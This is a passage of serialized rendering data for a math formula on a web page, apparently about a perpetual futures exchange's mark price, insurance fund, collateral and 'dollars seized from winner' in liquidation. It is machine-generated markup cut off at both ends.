"type":27,"value":4544},{"type":21,"tag":198,"props":161603,"children":161605},{"className":161604},[22538],[161606],{"type":27,"value":22541},{"type":21,"tag":198,"props":161608,"children":161610},{"className":161609},[4847],[161611],{"type":21,"tag":198,"props":161612,"children":161614},{"className":161613,"style":93512},[4852],[161615],{"type":21,"tag":198,"props":161616,"children":161617},{},[],{"type":21,"tag":198,"props":161619,"children":161621},{"style":161620},"top:-5.8188em;",[161622,161626],{"type":21,"tag":198,"props":161623,"children":161625},{"className":161624,"style":161329},[4861],[],{"type":21,"tag":198,"props":161627,"children":161629},{"className":161628},[4822],[161630],{"type":21,"tag":198,"props":161631,"children":161633},{"className":161632},[4822],[161634,161639],{"type":21,"tag":198,"props":161635,"children":161637},{"className":161636,"style":122709},[4822,22381],[161638],{"type":27,"value":2692},{"type":21,"tag":198,"props":161640,"children":161642},{"className":161641},[4837],[161643],{"type":21,"tag":198,"props":161644,"children":161646},{"className":161645},[4842,22435],[161647,161677],{"type":21,"tag":198,"props":161648,"children":161650},{"className":161649},[4847],[161651,161672],{"type":21,"tag":198,"props":161652,"children":161654},{"className":161653,"style":93958},[4852],[161655],{"type":21,"tag":198,"props":161656,"children":161658},{"style":161657},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[161659,161663],{"type":21,"tag":198,"props":161660,"children":161662},{"className":161661,"style":4862},[4861],[],{"type":21,"tag":198,"props":161664,"children":161666},{"className":161665},[4867,4868,4869,4870],[161667],{"type":21,"tag":198,"props":161668,"children":161670},{"className":161669},[4822,22381,4870],[161671],{"type":27,"value":4544},{"type":21,"tag":198,"props":161673,"children":161675},{"className":161674},[22538],[161676],{"type":27,"value":22541},{"type":21,"tag":198,"props":161678,"children":161680},{"className":161679},[4847],[161681],{"type":21,"tag":198,"props":161682,"children":161684},{"className":161683,"style":93512},[4852],[161685],{"type":21,"tag":198,"props":161686,"children":161687},{},[],{"type":21,"tag":198,"props":161689,"children":161691},{"style":161690},"top:-4.3188em;",[161692,161696],{"type":21,"tag":198,"props":161693,"children":161695},{"className":161694,"style":161329},[4861],[],{"type":21,"tag":198,"props":161697,"children":161699},{"className":161698},[4822],[161700],{"type":21,"tag":198,"props":161701,"children":161703},{"className":161702},[4822],[161704,161709],{"type":21,"tag":198,"props":161705,"children":161707},{"className":161706},[4822,22381],[161708],{"type":27,"value":20070},{"type":21,"tag":198,"props":161710,"children":161712},{"className":161711},[4837],[161713],{"type":21,"tag":198,"props":161714,"children":161716},{"className":161715},[4842,22435],[161717,161746],{"type":21,"tag":198,"props":161718,"children":161720},{"className":161719},[4847],[161721,161741],{"type":21,"tag":198,"props":161722,"children":161724},{"className":161723,"style":93958},[4852],[161725],{"type":21,"tag":198,"props":161726,"children":161727},{"style":93485},[161728,161732],{"type":21,"tag":198,"props":161729,"children":161731},{"className":161730,"style":4862},[4861],[],{"type":21,"tag":198,"props":161733,"children":161735},{"className":161734},[4867,4868,4869,4870],[161736],{"type":21,"tag":198,"props":161737,"children":161739},{"className":161738},[4822,22381,4870],[161740],{"type":27,"value":4544},{"type":21,"tag":198,"props":161742,"children":161744},{"className":161743},[22538],[161745],{"type":27,"value":22541},{"type":21,"tag":198,"props":161747,"children":161749},{"className":161748},[4847],[161750],{"type":21,"tag":198,"props":161751,"children":161753},{"className":161752,"style":93512},[4852],[161754],{"type":21,"tag":198,"props":161755,"children":161756},{},[],{"type":21,"tag":198,"props":161758,"children":161760},{"style":161759},"top:-2.5512em;",[161761,161765],{"type":21,"tag":198,"props":161762,"children":161764},{"className":161763,"style":161329},[4861],[],{"type":21,"tag":198,"props":161766,"children":161768},{"className":161767},[4822],[161769],{"type":21,"tag":198,"props":161770,"children":161772},{"className":161771},[4822],[161773,161778],{"type":21,"tag":198,"props":161774,"children":161776},{"className":161775},[4822,22381],[161777],{"type":27,"value":84727},{"type":21,"tag":198,"props":161779,"children":161781},{"className":161780},[4837],[161782],{"type":21,"tag":198,"props":161783,"children":161785},{"className":161784},[4842,22435],[161786,161815],{"type":21,"tag":198,"props":161787,"children":161789},{"className":161788},[4847],[161790,161810],{"type":21,"tag":198,"props":161791,"children":161793},{"className":161792,"style":93958},[4852],[161794],{"type":21,"tag":198,"props":161795,"children":161796},{"style":93485},[161797,161801],{"type":21,"tag":198,"props":161798,"children":161800},{"className":161799,"style":4862},[4861],[],{"type":21,"tag":198,"props":161802,"children":161804},{"className":161803},[4867,4868,4869,4870],[161805],{"type":21,"tag":198,"props":161806,"children":161808},{"className":161807},[4822,22381,4870],[161809],{"type":27,"value":4544},{"type":21,"tag":198,"props":161811,"children":161813},{"className":161812},[22538],[161814],{"type":27,"value":22541},{"type":21,"tag":198,"props":161816,"children":161818},{"className":161817},[4847],[161819],{"type":21,"tag":198,"props":161820,"children":161822},{"className":161821,"style":93512},[4852],[161823],{"type":21,"tag":198,"props":161824,"children":161825},{},[],{"type":21,"tag":198,"props":161827,"children":161829},{"style":161828},"top:-0.3652em;",[161830,161834],{"type":21,"tag":198,"props":161831,"children":161833},{"className":161832,"style":161329},[4861],[],{"type":21,"tag":198,"props":161835,"children":161837},{"className":161836},[4822],[161838],{"type":21,"tag":198,"props":161839,"children":161841},{"className":161840},[4822],[161842,161847],{"type":21,"tag":198,"props":161843,"children":161845},{"className":161844,"style":93663},[4822,22381],[161846],{"type":27,"value":93666},{"type":21,"tag":198,"props":161848,"children":161850},{"className":161849},[4837],[161851],{"type":21,"tag":198,"props":161852,"children":161854},{"className":161853},[4842,22435],[161855,161884],{"type":21,"tag":198,"props":161856,"children":161858},{"className":161857},[4847],[161859,161879],{"type":21,"tag":198,"props":161860,"children":161862},{"className":161861,"style":142984},[4852],[161863],{"type":21,"tag":198,"props":161864,"children":161865},{"style":110858},[161866,161870],{"type":21,"tag":198,"props":161867,"children":161869},{"className":161868,"style":4862},[4861],[],{"type":21,"tag":198,"props":161871,"children":161873},{"className":161872},[4867,4868,4869,4870],[161874],{"type":21,"tag":198,"props":161875,"children":161877},{"className":161876,"style":22382},[4822,22381,4870],[161878],{"type":27,"value":6800},{"type":21,"tag":198,"props":161880,"children":161882},{"className":161881},[22538],[161883],{"type":27,"value":22541},{"type":21,"tag":198,"props":161885,"children":161887},{"className":161886},[4847],[161888],{"type":21,"tag":198,"props":161889,"children":161891},{"className":161890,"style":93512},[4852],[161892],{"type":21,"tag":198,"props":161893,"children":161894},{},[],{"type":21,"tag":198,"props":161896,"children":161898},{"style":161897},"top:2.2624em;",[161899,161903],{"type":21,"tag":198,"props":161900,"children":161902},{"className":161901,"style":161329},[4861],[],{"type":21,"tag":198,"props":161904,"children":161906},{"className":161905},[4822],[161907],{"type":21,"tag":198,"props":161908,"children":161910},{"className":161909},[4822],[161911,161917],{"type":21,"tag":198,"props":161912,"children":161914},{"className":161913,"style":93429},[4822,22381],[161915],{"type":27,"value":161916},"D",{"type":21,"tag":198,"props":161918,"children":161920},{"className":161919},[4837],[161921],{"type":21,"tag":198,"props":161922,"children":161924},{"className":161923},[4842,22435],[161925,161954],{"type":21,"tag":198,"props":161926,"children":161928},{"className":161927},[4847],[161929,161949],{"type":21,"tag":198,"props":161930,"children":161932},{"className":161931,"style":142984},[4852],[161933],{"type":21,"tag":198,"props":161934,"children":161935},{"style":110428},[161936,161940],{"type":21,"tag":198,"props":161937,"children":161939},{"className":161938,"style":4862},[4861],[],{"type":21,"tag":198,"props":161941,"children":161943},{"className":161942},[4867,4868,4869,4870],[161944],{"type":21,"tag":198,"props":161945,"children":161947},{"className":161946,"style":22382},[4822,22381,4870],[161948],{"type":27,"value":6800},{"type":21,"tag":198,"props":161950,"children":161952},{"className":161951},[22538],[161953],{"type":27,"value":22541},{"type":21,"tag":198,"props":161955,"children":161957},{"className":161956},[4847],[161958],{"type":21,"tag":198,"props":161959,"children":161961},{"className":161960,"style":93512},[4852],[161962],{"type":21,"tag":198,"props":161963,"children":161964},{},[],{"type":21,"tag":198,"props":161966,"children":161968},{"style":161967},"top:4.8901em;",[161969,161973],{"type":21,"tag":198,"props":161970,"children":161972},{"className":161971,"style":161329},[4861],[],{"type":21,"tag":198,"props":161974,"children":161976},{"className":161975},[4822],[161977],{"type":21,"tag":198,"props":161978,"children":161980},{"className":161979},[4822],[161981,161987],{"type":21,"tag":198,"props":161982,"children":161984},{"className":161983,"style":95437},[4822,22381],[161985],{"type":27,"value":161986},"U",{"type":21,"tag":198,"props":161988,"children":161990},{"className":161989},[4837],[161991],{"type":21,"tag":198,"props":161992,"children":161994},{"className":161993},[4842,22435],[161995,162025],{"type":21,"tag":198,"props":161996,"children":161998},{"className":161997},[4847],[161999,162020],{"type":21,"tag":198,"props":162000,"children":162002},{"className":162001,"style":142984},[4852],[162003],{"type":21,"tag":198,"props":162004,"children":162006},{"style":162005},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[162007,162011],{"type":21,"tag":198,"props":162008,"children":162010},{"className":162009,"style":4862},[4861],[],{"type":21,"tag":198,"props":162012,"children":162014},{"className":162013},[4867,4868,4869,4870],[162015],{"type":21,"tag":198,"props":162016,"children":162018},{"className":162017,"style":22382},[4822,22381,4870],[162019],{"type":27,"value":6800},{"type":21,"tag":198,"props":162021,"children":162023},{"className":162022},[22538],[162024],{"type":27,"value":22541},{"type":21,"tag":198,"props":162026,"children":162028},{"className":162027},[4847],[162029],{"type":21,"tag":198,"props":162030,"children":162032},{"className":162031,"style":93512},[4852],[162033],{"type":21,"tag":198,"props":162034,"children":162035},{},[],{"type":21,"tag":198,"props":162037,"children":162039},{"style":162038},"top:7.3078em;",[162040,162044],{"type":21,"tag":198,"props":162041,"children":162043},{"className":162042,"style":161329},[4861],[],{"type":21,"tag":198,"props":162045,"children":162047},{"className":162046},[4822],[162048],{"type":21,"tag":198,"props":162049,"children":162051},{"className":162050},[4822],[162052,162057],{"type":21,"tag":198,"props":162053,"children":162055},{"className":162054,"style":123206},[4822,22381],[162056],{"type":27,"value":123209},{"type":21,"tag":198,"props":162058,"children":162060},{"className":162059},[4837],[162061],{"type":21,"tag":198,"props":162062,"children":162064},{"className":162063},[4842,22435],[162065,162096],{"type":21,"tag":198,"props":162066,"children":162068},{"className":162067},[4847],[162069,162091],{"type":21,"tag":198,"props":162070,"children":162073},{"className":162071,"style":162072},[4852],"height:0.2806em;",[162074],{"type":21,"tag":198,"props":162075,"children":162077},{"style":162076},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[162078,162082],{"type":21,"tag":198,"props":162079,"children":162081},{"className":162080,"style":4862},[4861],[],{"type":21,"tag":198,"props":162083,"children":162085},{"className":162084},[4867,4868,4869,4870],[162086],{"type":21,"tag":198,"props":162087,"children":162089},{"className":162088},[4822,22381,4870],[162090],{"type":27,"value":22523},{"type":21,"tag":198,"props":162092,"children":162094},{"className":162093},[22538],[162095],{"type":27,"value":22541},{"type":21,"tag":198,"props":162097,"children":162099},{"className":162098},[4847],[162100],{"type":21,"tag":198,"props":162101,"children":162103},{"className":162102,"style":93512},[4852],[162104],{"type":21,"tag":198,"props":162105,"children":162106},{},[],{"type":21,"tag":198,"props":162108,"children":162110},{"className":162109},[22538],[162111],{"type":27,"value":22541},{"type":21,"tag":198,"props":162113,"children":162115},{"className":162114},[4847],[162116],{"type":21,"tag":198,"props":162117,"children":162120},{"className":162118,"style":162119},[4852],"height:11.3392em;",[162121],{"type":21,"tag":198,"props":162122,"children":162123},{},[],{"type":21,"tag":198,"props":162125,"children":162127},{"className":162126},[160243],[162128],{"type":21,"tag":198,"props":162129,"children":162131},{"className":162130},[4842,22435],[162132,163834],{"type":21,"tag":198,"props":162133,"children":162135},{"className":162134},[4847],[162136,163829],{"type":21,"tag":198,"props":162137,"children":162139},{"className":162138,"style":161320},[4852],[162140,162178,162216,162363,162598,162753,162858,162901,163122,163281,163471,163623],{"type":21,"tag":198,"props":162141,"children":162142},{"style":161324},[162143,162147],{"type":21,"tag":198,"props":162144,"children":162146},{"className":162145,"style":161329},[4861],[],{"type":21,"tag":198,"props":162148,"children":162150},{"className":162149},[4822],[162151,162155,162159,162164,162168],{"type":21,"tag":198,"props":162152,"children":162154},{"className":162153},[4822],[],{"type":21,"tag":198,"props":162156,"children":162158},{"className":162157,"style":4998},[4901],[],{"type":21,"tag":198,"props":162160,"children":162162},{"className":162161},[5003],[162163],{"type":27,"value":22400},{"type":21,"tag":198,"props":162165,"children":162167},{"className":162166,"style":4998},[4901],[],{"type":21,"tag":198,"props":162169,"children":162171},{"className":162170},[4822,27],[162172],{"type":21,"tag":198,"props":162173,"children":162175},{"className":162174},[4822],[162176],{"type":27,"value":162177},"mark price",{"type":21,"tag":198,"props":162179,"children":162180},{"style":161395},[162181,162185],{"type":21,"tag":198,"props":162182,"children":162184},{"className":162183,"style":161329},[4861],[],{"type":21,"tag":198,"props":162186,"children":162188},{"className":162187},[4822],[162189,162193,162197,162202,162206],{"type":21,"tag":198,"props":162190,"children":162192},{"className":162191},[4822],[],{"type":21,"tag":198,"props":162194,"children":162196},{"className":162195,"style":4998},[4901],[],{"type":21,"tag":198,"props":162198,"children":162200},{"className":162199},[5003],[162201],{"type":27,"value":22400},{"type":21,"tag":198,"props":162203,"children":162205},{"className":162204,"style":4998},[4901],[],{"type":21,"tag":198,"props":162207,"children":162209},{"className":162208},[4822,27],[162210],{"type":21,"tag":198,"props":162211,"children":162213},{"className":162212},[4822],[162214],{"type":27,"value":162215},"insurance fund",{"type":21,"tag":198,"props":162217,"children":162218},{"style":161412},[162219,162223],{"type":21,"tag":198,"props":162220,"children":162222},{"className":162221,"style":161329},[4861],[],{"type":21,"tag":198,"props":162224,"children":162226},{"className":162225},[4822],[162227,162231,162235,162240,162244,162254,162258,162263,162267],{"type":21,"tag":198,"props":162228,"children":162230},{"className":162229},[4822],[],{"type":21,"tag":198,"props":162232,"children":162234},{"className":162233,"style":4998},[4901],[],{"type":21,"tag":198,"props":162236,"children":162238},{"className":162237},[5003],[162239],{"type":27,"value":22400},{"type":21,"tag":198,"props":162241,"children":162243},{"className":162242,"style":4998},[4901],[],{"type":21,"tag":198,"props":162245,"children":162247},{"className":162246},[4822,27],[162248],{"type":21,"tag":198,"props":162249,"children":162251},{"className":162250},[4822],[162252],{"type":27,"value":162253},"collateral",{"type":21,"tag":198,"props":162255,"children":162257},{"className":162256,"style":4998},[4901],[],{"type":21,"tag":198,"props":162259,"children":162261},{"className":162260},[5003],[162262],{"type":27,"value":3174},{"type":21,"tag":198,"props":162264,"children":162266},{"className":162265,"style":4998},[4901],[],{"type":21,"tag":198,"props":162268,"children":162270},{"className":162269},[4822],[162271,162275,162359],{"type":21,"tag":198,"props":162272,"children":162274},{"className":162273},[22510,113947],[],{"type":21,"tag":198,"props":162276,"children":162278},{"className":162277},[113952],[162279],{"type":21,"tag":198,"props":162280,"children":162282},{"className":162281},[4842,22435],[162283,162348],{"type":21,"tag":198,"props":162284,"children":162286},{"className":162285},[4847],[162287,162343],{"type":21,"tag":198,"props":162288,"children":162291},{"className":162289,"style":162290},[4852],"height:1.3714em;",[162292,162312,162323],{"type":21,"tag":198,"props":162293,"children":162294},{"style":159538},[162295,162299],{"type":21,"tag":198,"props":162296,"children":162298},{"className":162297,"style":112600},[4861],[],{"type":21,"tag":198,"props":162300,"children":162302},{"className":162301},[4822],[162303],{"type":21,"tag":198,"props":162304,"children":162306},{"className":162305},[4822,27],[162307],{"type":21,"tag":198,"props":162308,"children":162310},{"className":162309},[4822],[162311],{"type":27,"value":159575},{"type":21,"tag":198,"props":162313,"children":162314},{"style":114002},[162315,162319],{"type":21,"tag":198,"props":162316,"children":162318},{"className":162317,"style":112600},[4861],[],{"type":21,"tag":198,"props":162320,"children":162322},{"className":162321,"style":114012},[114011],[],{"type":21,"tag":198,"props":162324,"children":162325},{"style":159589},[162326,162330],{"type":21,"tag":198,"props":162327,"children":162329},{"className":162328,"style":112600},[4861],[],{"type":21,"tag":198,"props":162331,"children":162333},{"className":162332},[4822],[162334],{"type":21,"tag":198,"props":162335,"children":162337},{"className":162336},[4822,27],[162338],{"type":21,"tag":198,"props":162339,"children":162341},{"className":162340},[4822],[162342],{"type":27,"value":159614},{"type":21,"tag":198,"props":162344,"children":162346},{"className":162345},[22538],[162347],{"type":27,"value":22541},{"type":21,"tag":198,"props":162349,"children":162351},{"className":162350},[4847],[162352],{"type":21,"tag":198,"props":162353,"children":162355},{"className":162354,"style":159632},[4852],[162356],{"type":21,"tag":198,"props":162357,"children":162358},{},[],{"type":21,"tag":198,"props":162360,"children":162362},{"className":162361},[22532,113947],[],{"type":21,"tag":198,"props":162364,"children":162365},{"style":161481},[162366,162370],{"type":21,"tag":198,"props":162367,"children":162369},{"className":162368,"style":161329},[4861],[],{"type":21,"tag":198,"props":162371,"children":162373},{"className":162372},[4822],[162374,162378,162382,162387,162391,162448,162452,162457,162461,162466,162523,162527,162532,162536,162593],{"type":21,"tag":198,"props":162375,"children":162377},{"className":162376},[4822],[],{"type":21,"tag":198,"props":162379,"children":162381},{"className":162380,"style":4998},[4901],[],{"type":21,"tag":198,"props":162383,"children":162385},{"className":162384},[5003],[162386],{"type":27,"value":3174},{"type":21,"tag":198,"props":162388,"children":162390},{"className":162389,"style":4998},[4901],[],{"type":21,"tag":198,"props":162392,"children":162394},{"className":162393},[4822],[162395,162400],{"type":21,"tag":198,"props":162396,"children":162398},{"className":162397},[4822,22381],[162399],{"type":27,"value":11460},{"type":21,"tag":198,"props":162401,"children":162403},{"className":162402},[4837],[162404],{"type":21,"tag":198,"props":162405,"children":162407},{"className":162406},[4842,22435],[162408,162437],{"type":21,"tag":198,"props":162409,"children":162411},{"className":162410},[4847],[162412,162432],{"type":21,"tag":198,"props":162413,"children":162415},{"className":162414,"style":93958},[4852],[162416],{"type":21,"tag":198,"props":162417,"children":162418},{"style":93485},[162419,162423],{"type":21,"tag":198,"props":162420,"children":162422},{"className":162421,"style":4862},[4861],[],{"type":21,"tag":198,"props":162424,"children":162426},{"className":162425},[4867,4868,4869,4870],[162427],{"type":21,"tag":198,"props":162428,"children":162430},{"className":162429},[4822,22381,4870],[162431],{"type":27,"value":4544},{"type":21,"tag":198,"props":162433,"children":162435},{"className":162434},[22538],[162436],{"type":27,"value":22541},{"type":21,"tag":198,"props":162438,"children":162440},{"className":162439},[4847],[162441],{"type":21,"tag":198,"props":162442,"children":162444},{"className":162443,"style":93512},[4852],[162445],{"type":21,"tag":198,"props":162446,"children":162447},{},[],{"type":21,"tag":198,"props":162449,"children":162451},{"className":162450,"style":4902},[4901],[],{"type":21,"tag":198,"props":162453,"children":162455},{"className":162454},[4907],[162456],{"type":27,"value":111691},{"type":21,"tag":198,"props":162458,"children":162460},{"className":162459,"style":4902},[4901],[],{"type":21,"tag":198,"props":162462,"children":162464},{"className":162463},[22510],[162465],{"type":27,"value":706},{"type":21,"tag":198,"props":162467,"children":162469},{"className":162468},[4822],[162470,162475],{"type":21,"tag":198,"props":162471,"children":162473},{"className":162472,"style":22382},[4822,22381],[162474],{"type":27,"value":22385},{"type":21,"tag":198,"props":162476,"children":162478},{"className":162477},[4837],[162479],{"type":21,"tag":198,"props":162480,"children":162482},{"className":162481},[4842,22435],[162483,162512],{"type":21,"tag":198,"props":162484,"children":162486},{"className":162485},[4847],[162487,162507],{"type":21,"tag":198,"props":162488,"children":162490},{"className":162489,"style":109861},[4852],[162491],{"type":21,"tag":198,"props":162492,"children":162493},{"style":161362},[162494,162498],{"type":21,"tag":198,"props":162495,"children":162497},{"className":162496,"style":4862},[4861],[],{"type":21,"tag":198,"props":162499,"children":162501},{"className":162500},[4867,4868,4869,4870],[162502],{"type":21,"tag":198,"props":162503,"children":162505},{"className":162504},[4822,22381,4870],[162506],{"type":27,"value":56780},{"type":21,"tag":198,"props":162508,"children":162510},{"className":162509},[22538],[162511],{"type":27,"value":22541},{"type":21,"tag":198,"props":162513,"children":162515},{"className":162514},[4847],[162516],{"type":21,"tag":198,"props":162517,"children":162519},{"className":162518,"style":93512},[4852],[162520],{"type":21,"tag":198,"props":162521,"children":162522},{},[],{"type":21,"tag":198,"props":162524,"children":162526},{"className":162525,"style":4902},[4901],[],{"type":21,"tag":198,"props":162528,"children":162530},{"className":162529},[4907],[162531],{"type":27,"value":4881},{"type":21,"tag":198,"props":162533,"children":162535},{"className":162534,"style":4902},[4901],[],{"type":21,"tag":198,"props":162537,"children":162539},{"className":162538},[4822],[162540,162545],{"type":21,"tag":198,"props":162541,"children":162543},{"className":162542},[4822,22381],[162544],{"type":27,"value":30},{"type":21,"tag":198,"props":162546,"children":162548},{"className":162547},[4837],[162549],{"type":21,"tag":198,"props":162550,"children":162552},{"className":162551},[4842,22435],[162553,162582],{"type":21,"tag":198,"props":162554,"children":162556},{"className":162555},[4847],[162557,162577],{"type":21,"tag":198,"props":162558,"children":162560},{"className":162559,"style":93958},[4852],[162561],{"type":21,"tag":198,"props":162562,"children":162563},{"style":93485},[162564,162568],{"type":21,"tag":198,"props":162565,"children":162567},{"className":162566,"style":4862},[4861],[],{"type":21,"tag":198,"props":162569,"children":162571},{"className":162570},[4867,4868,4869,4870],[162572],{"type":21,"tag":198,"props":162573,"children":162575},{"className":162574},[4822,22381,4870],[162576],{"type":27,"value":4544},{"type":21,"tag":198,"props":162578,"children":162580},{"className":162579},[22538],[162581],{"type":27,"value":22541},{"type":21,"tag":198,"props":162583,"children":162585},{"className":162584},[4847],[162586],{"type":21,"tag":198,"props":162587,"children":162589},{"className":162588,"style":93512},[4852],[162590],{"type":21,"tag":198,"props":162591,"children":162592},{},[],{"type":21,"tag":198,"props":162594,"children":162596},{"className":162595},[22532],[162597],{"type":27,"value":2109},{"type":21,"tag":198,"props":162599,"children":162600},{"style":161551},[162601,162605],{"type":21,"tag":198,"props":162602,"children":162604},{"className":162603,"style":161329},[4861],[],{"type":21,"tag":198,"props":162606,"children":162608},{"className":162607},[4822],[162609,162613,162617,162622,162626,162683,162687,162692,162696],{"type":21,"tag":198,"props":162610,"children":162612},{"className":162611},[4822],[],{"type":21,"tag":198,"props":162614,"children":162616},{"className":162615,"style":4998},[4901],[],{"type":21,"tag":198,"props":162618,"children":162620},{"className":162619},[5003],[162621],{"type":27,"value":3174},{"type":21,"tag":198,"props":162623,"children":162625},{"className":162624,"style":4998},[4901],[],{"type":21,"tag":198,"props":162627,"children":162629},{"className":162628},[4822],[162630,162635],{"type":21,"tag":198,"props":162631,"children":162633},{"className":162632},[4822,22381],[162634],{"type":27,"value":3954},{"type":21,"tag":198,"props":162636,"children":162638},{"className":162637},[4837],[162639],{"type":21,"tag":198,"props":162640,"children":162642},{"className":162641},[4842,22435],[162643,162672],{"type":21,"tag":198,"props":162644,"children":162646},{"className":162645},[4847],[162647,162667],{"type":21,"tag":198,"props":162648,"children":162650},{"className":162649,"style":93958},[4852],[162651],{"type":21,"tag":198,"props":162652,"children":162653},{"style":93485},[162654,162658],{"type":21,"tag":198,"props":162655,"children":162657},{"className":162656,"style":4862},[4861],[],{"type":21,"tag":198,"props":162659,"children":162661},{"className":162660},[4867,4868,4869,4870],[162662],{"type":21,"tag":198,"props":162663,"children":162665},{"className":162664},[4822,22381,4870],[162666],{"type":27,"value":4544},{"type":21,"tag":198,"props":162668,"children":162670},{"className":162669},[22538],[162671],{"type":27,"value":22541},{"type":21,"tag":198,"props":162673,"children":162675},{"className":162674},[4847],[162676],{"type":21,"tag":198,"props":162677,"children":162679},{"className":162678,"style":93512},[4852],[162680],{"type":21,"tag":198,"props":162681,"children":162682},{},[],{"type":21,"tag":198,"props":162684,"children":162686},{"className":162685,"style":4902},[4901],[],{"type":21,"tag":198,"props":162688,"children":162690},{"className":162689},[4907],[162691],{"type":27,"value":5193},{"type":21,"tag":198,"props":162693,"children":162695},{"className":162694,"style":4902},[4901],[],{"type":21,"tag":198,"props":162697,"children":162699},{"className":162698},[4822],[162700,162705],{"type":21,"tag":198,"props":162701,"children":162703},{"className":162702,"style":93915},[4822,22381],[162704],{"type":27,"value":161500},{"type":21,"tag":198,"props":162706,"children":162708},{"className":162707},[4837],[162709],{"type":21,"tag":198,"props":162710,"children":162712},{"className":162711},[4842,22435],[162713,162742],{"type":21,"tag":198,"props":162714,"children":162716},{"className":162715},[4847],[162717,162737],{"type":21,"tag":198,"props":162718,"children":162720},{"className":162719,"style":93958},[4852],[162721],{"type":21,"tag":198,"props":162722,"children":162723},{"style":93962},[162724,162728],{"type":21,"tag":198,"props":162725,"children":162727},{"className":162726,"style":4862},[4861],[],{"type":21,"tag":198,"props":162729,"children":162731},{"className":162730},[4867,4868,4869,4870],[162732],{"type":21,"tag":198,"props":162733,"children":162735},{"className":162734},[4822,22381,4870],[162736],{"type":27,"value":4544},{"type":21,"tag":198,"props":162738,"children":162740},{"className":162739},[22538],[162741],{"type":27,"value":22541},{"type":21,"tag":198,"props":162743,"children":162745},{"className":162744},[4847],[162746],{"type":21,"tag":198,"props":162747,"children":162749},{"className":162748,"style":93512},[4852],[162750],{"type":21,"tag":198,"props":162751,"children":162752},{},[],{"type":21,"tag":198,"props":162754,"children":162755},{"style":161620},[162756,162760],{"type":21,"tag":198,"props":162757,"children":162759},{"className":162758,"style":161329},[4861],[],{"type":21,"tag":198,"props":162761,"children":162763},{"className":162762},[4822],[162764,162768,162772,162777,162781],{"type":21,"tag":198,"props":162765,"children":162767},{"className":162766},[4822],[],{"type":21,"tag":198,"props":162769,"children":162771},{"className":162770,"style":4998},[4901],[],{"type":21,"tag":198,"props":162773,"children":162775},{"className":162774},[5003],[162776],{"type":27,"value":3174},{"type":21,"tag":198,"props":162778,"children":162780},{"className":162779,"style":4998},[4901],[],{"type":21,"tag":198,"props":162782,"children":162784},{"className":162783},[4822],[162785,162790],{"type":21,"tag":198,"props":162786,"children":162788},{"className":162787,"style":93915},[4822,22381],[162789],{"type":27,"value":161500},{"type":21,"tag":198,"props":162791,"children":162793},{"className":162792},[4837],[162794],{"type":21,"tag":198,"props":162795,"children":162797},{"className":162796},[4842,22435],[162798,162846],{"type":21,"tag":198,"props":162799,"children":162801},{"className":162800},[4847],[162802,162841],{"type":21,"tag":198,"props":162803,"children":162806},{"className":162804,"style":162805},[4852],"height:0.8213em;",[162807,162824],{"type":21,"tag":198,"props":162808,"children":162810},{"style":162809},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[162811,162815],{"type":21,"tag":198,"props":162812,"children":162814},{"className":162813,"style":4862},[4861],[],{"type":21,"tag":198,"props":162816,"children":162818},{"className":162817},[4867,4868,4869,4870],[162819],{"type":21,"tag":198,"props":162820,"children":162822},{"className":162821},[4822,22381,4870],[162823],{"type":27,"value":4544},{"type":21,"tag":198,"props":162825,"children":162827},{"style":162826},"top:-3.113em;margin-right:0.05em;",[162828,162832],{"type":21,"tag":198,"props":162829,"children":162831},{"className":162830,"style":4862},[4861],[],{"type":21,"tag":198,"props":162833,"children":162835},{"className":162834},[4867,4868,4869,4870],[162836],{"type":21,"tag":198,"props":162837,"children":162839},{"className":162838},[4907,4870],[162840],{"type":27,"value":5193},{"type":21,"tag":198,"props":162842,"children":162844},{"className":162843},[22538],[162845],{"type":27,"value":22541},{"type":21,"tag":198,"props":162847,"children":162849},{"className":162848},[4847],[162850],{"type":21,"tag":198,"props":162851,"children":162854},{"className":162852,"style":162853},[4852],"height:0.267em;",[162855],{"type":21,"tag":198,"props":162856,"children":162857},{},[],{"type":21,"tag":198,"props":162859,"children":162860},{"style":161690},[162861,162865],{"type":21,"tag":198,"props":162862,"children":162864},{"className":162863,"style":161329},[4861],[],{"type":21,"tag":198,"props":162866,"children":162868},{"className":162867},[4822],[162869,162873,162877,162882,162886,162896],{"type":21,"tag":198,"props":162870,"children":162872},{"className":162871},[4822],[],{"type":21,"tag":198,"props":162874,"children":162876},{"className":162875,"style":4998},[4901],[],{"type":21,"tag":198,"props":162878,"children":162880},{"className":162879},[5003],[162881],{"type":27,"value":22400},{"type":21,"tag":198,"props":162883,"children":162885},{"className":162884,"style":4998},[4901],[],{"type":21,"tag":198,"props":162887,"children":162889},{"className":162888},[4822,27],[162890],{"type":21,"tag":198,"props":162891,"children":162893},{"className":162892},[4822],[162894],{"type":27,"value":162895},"dollars seized from winner ",{"type":21,"tag":198,"props":162897,"children":162899},{"className":162898},[4822,22381],[162900],{"type":27,"value":4544},{"type":21,"tag":198,"props":162902,"children":162903},{"style":161759},[162904,162908],{"type":21,"tag":198,"props":162905,"children":162907},{"className":162906,"style":161329},[4861],[],{"type":21,"tag":198,"props":162909,"children":162911},{"className":162910},[4822],[162912,162916,162920,162925,162929],{"type":21,"tag":198,"props":162913,"children":162915},{"className":162914},[4822],[],{"type":21,"tag":198,"props":162917,"children":162919},{"className":162918,"style":4998},[4901],[],{"type":21,"tag":198,"props":162921,"children":162923},{"className":162922},[5003],[162924],{"type":27,"value":3174},{"type":21,"tag":198,"props":162926,"children":162928},{"className":162927,"style":4998},[4901],[],{"type":21,"tag":198,"props":162930,"children":162932},{"className":162931},[4822],[162933,162937,163118],{"type":21,"tag":198,"props":162934,"children":162936},{"className":162935},[22510,113947],[],{"type":21,"tag":198,"props":162938,"children":162940},{"className":162939},[113952],[162941],{"type":21,"tag":198,"props":162942,"children":162944},{"className":162943},[4842,22435],[162945,163106],{"type":21,"tag":198,"props":162946,"children":162948},{"className":162947},[4847],[162949,163101],{"type":21,"tag":198,"props":162950,"children":162953},{"className":162951,"style":162952},[4852],"height:1.1076em;",[162954,163022,163033],{"type":21,"tag":198,"props":162955,"children":162956},{"style":159538},[162957,162961],{"type":21,"tag":198,"props":162958,"children":162960},{"className":162959,"style":112600},[4861],[],{"type":21,"tag":198,"props":162962,"children":162964},{"className":162963},[4822],[162965],{"type":21,"tag":198,"props":162966,"children":162968},{"className":162967},[4822],[162969,162974],{"type":21,"tag":198,"props":162970,"children":162972},{"className":162971,"s